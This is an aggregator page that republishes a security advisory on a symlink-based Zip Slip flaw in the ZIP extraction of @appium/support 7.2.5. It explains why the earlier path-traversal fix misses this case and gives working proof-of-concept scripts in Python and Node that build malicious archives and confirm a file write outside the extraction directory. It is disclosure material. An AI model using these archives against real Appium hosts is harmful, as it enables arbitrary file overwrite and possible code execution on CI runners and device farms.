Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 257/275 feeds/APIs · 469/469 docs · 8/9 advisories · checked 09:45 UTC Customize Public modeDiscuss ChangeIntel on Discord

Appium: Symlink based Zip Slip in @appium/support ZIP extraction

Exact source revision recorded 24 Oct 2026 13:17:17 UTC. It does not establish the source's current position. Latest evidence.

osv · GHSA-qfxx-c367-67f8

Published

### Summary CVE-2026-30973 [(GHSA-rfx7-4xw3-gh4m)](https://github.com/appium/appium/security/advisories/GHSA-rfx7-4xw3-gh4m) was a plain path traversal in the entry name. The containment check built an Error object without throwing it, so an entry literally named something like `../evil.txt` was written outside the destination. That issue was fixed in @appium/support 7.0.6 by actually rejecting out of bound entry names. This finding is a different vector that the 7.0.6 fix does not cover. The archive entry names here are completely legitimate (for example `pwn` and `pwn/owned.txt`, no `..` anywhere), so every name based defense accepts them. The escape happens through a symbolic link. One entry is a symlink whose target points outside the extraction directory, and a later entry is a regular file whose name resolves through that symlink. The name based containment check never inspects the symlink target, and the extractor writes the symlink target verbatim, so the file lands outside the extraction root. The two issues compared on the same patched version 7.2.5: | | CVE-2026-30973 | This finding | |---|---|---| | Vector | one entry whose name contains `..` | a symlink entry plus a file written through it | | Entry names | contain `..` (illegal) | legitimate, no `..` and not absolute | | What is missing | the `..` name chec\k did not throw | name checks never resolve symlinks, and the symlink target is unchecked | | Entries needed | one | two | | Fixed in 7.0.6 | yes | no | | Status on 7.2.5 | blocked | still exploitable (proven below) | ### Details ## Root cause The extractor applies only a lexical containment check on each entry's own name, then for a symlink entry it creates the link with the target taken straight from the archive: ```js // @appium/support build/lib/zip.js (extractAllTo path), version 7.2.5 97 if (!isSubPath(dest, dir)) { // lexical only, never resolves symlinks 98 throw new Error(`Out of bound path "${dest}" found while processing file ${fileName}`); 99 } ... 142 await fs.symlink(link, dest); // link target comes verbatim from the archive ``` `isSubPath` compares normalized strings and does not call realpath, so for the file entry `pwn/owned.txt` the destination `dir/pwn/owned.txt` is lexically inside `dir` and the check passes, even though `dir/pwn` is a symlink created by the previous entry that points outside `dir`. The write then follows that symlink and escapes. The symlink target itself is never validated against the extraction root. ### PoC <img width="1443" height="411" alt="image" src="https://github.com/user-attachments/assets/95b257d6-bc1d-4407-b22b-557119fb376a" /> build_zips.py ```python #!/usr/bin/env python3 import os, sys, zipfile, shutil work = sys.argv[1] if len(sys.argv) > 1 else "/tmp/zswork" pid = os.getpid() shutil.rmtree(work, ignore_errors=True) os.makedirs(work) # Test A: CVE-2026-30973 plain "../" path traversal in the entry name extractA = os.path.join(work, "extractA"); os.makedirs(extractA) escapeA_name = f"escapeA_{pid}.txt" # would land in work/ (outside extractA) escapeA = os.path.join(work, escapeA_name) zipA = os.path.join(work, "cve_vector.zip") with zipfile.ZipFile(zipA, "w") as z: z.writestr("../" + escapeA_name, "CVE-2026-30973 plain traversal\n") # Test B: symlink entry whose target escapes, then a file through it extractB = os.path.join(work, "extractB"); os.makedirs(extractB) escapeB = os.path.join(work, f"escapeB_{pid}"); os.makedirs(escapeB) zipB = os.path.join(work, "symlink_bypass.zip") with zipfile.ZipFile(zipB, "w") as z: sl = zipfile.ZipInfo("pwn") sl.create_system = 3 # unix, so external_attr carries the mode sl.external_attr = (0o120777 & 0xFFFF) << 16 # S_IFLNK | 0777 z.writestr(sl, escapeB) # symlink target is the file body fi = zipfile.ZipInfo("pwn/owned.txt") fi.create_system = 3 fi.external_attr = (0o100644 & 0xFFFF) << 16 z.writestr(fi, "PWNED via symlink Zip Slip\n") print("\t".join([work, extractA, escapeA, zipA, extractB, escapeB, zipB])) ``` zipslip_poc.js ```javascript 'use strict'; const fs = require('fs'); const path = require('path'); const support = require('@appium/support'); const [, , work, extractA, escapeA, zipA, extractB, escapeB, zipB] = process.argv; (async () => { const ver = require('@appium/support/package.json').version; console.log(`[*] @appium/support version: ${ver}`); console.log(`[*] CVE-2026-30973 was fixed in 7.0.6, so on this newer version the plain ../ vector should be blocked.`); // Test A: the CVE-2026-30973 vector console.log('\n=== Test A: CVE-2026-30973 plain "../" entry name ==='); let aBlocked = false; try { await support.zip.extractAllTo(zipA, extractA); } catch (e) { aBlocked = true; console.log(`[+] REJECTED by extractor: ${String(e.message).split('\n')[0]}`); } const aEscaped = fs.existsSync(escapeA); console.log(`[=] ${aBlocked && !aEscaped ? 'BLOCKED, so CVE-2026-30973 is PATCHED in this version' : 'ESCAPED (not patched)'}`); // Test B: this finding, the symlink bypass console.log('\n=== Test B: symlink entry + file written through it (this finding) ==='); try { await support.zip.extractAllTo(zipB, extractB); } catch (e) { console.log(`[i] extractor message: ${String(e.message).split('\n')[0]}`); } const planted = path.join(escapeB, 'owned.txt'); const bEscaped = fs.existsSync(planted); if (bEscaped) { console.log('[+] ARBITRARY FILE WRITE OUTSIDE THE EXTRACT ROOT VIA SYMLINK CONFIRMED'); console.log(` wrote : ${planted}`); console.log(` content: ${JSON.stringify(fs.readFileSync(planted, 'utf8'))}`); } else { console.log('[-] symlink vector did not escape'); } console.log('\n=== SUMMARY (same installed version) ==='); console.log(`A CVE-2026-30973 plain ../ : ${aBlocked && !aEscaped ? 'BLOCKED (fix present)' : 'ESCAPED'}`); console.log(`B symlink bypass (this bug): ${bEscaped ? 'ESCAPED (still vulnerable)' : 'blocked'}`); process.exit(aBlocked && !aEscaped && bEscaped ? 0 : 2); })().catch((e) => { console.error('ERROR', e); process.exit(3); }); use ``` ### Impact An attacker who controls an archive that Appium extracts can write files to arbitrary locations writable by the Appium process, since the write follows a symlink to any target the archive specifies. Depending on where Appium runs this can overwrite a configuration file, drop a script into a startup or profile location, or replace a binary on the PATH, which can escalate to code execution. On a continuous integration runner or a device farm host the reachable paths include anything writable by the service account.

Source published
15 Oct 2026 20:18:56 UTC
Source modified
15 Oct 2026 20:30:05 UTC
Observed here
24 Oct 2026 13:17:17 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Publisher rating · MODERATE

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 9 Nov 09:45 UTC · 257 of 275 readable · 255 fully read · documentation 469/469 current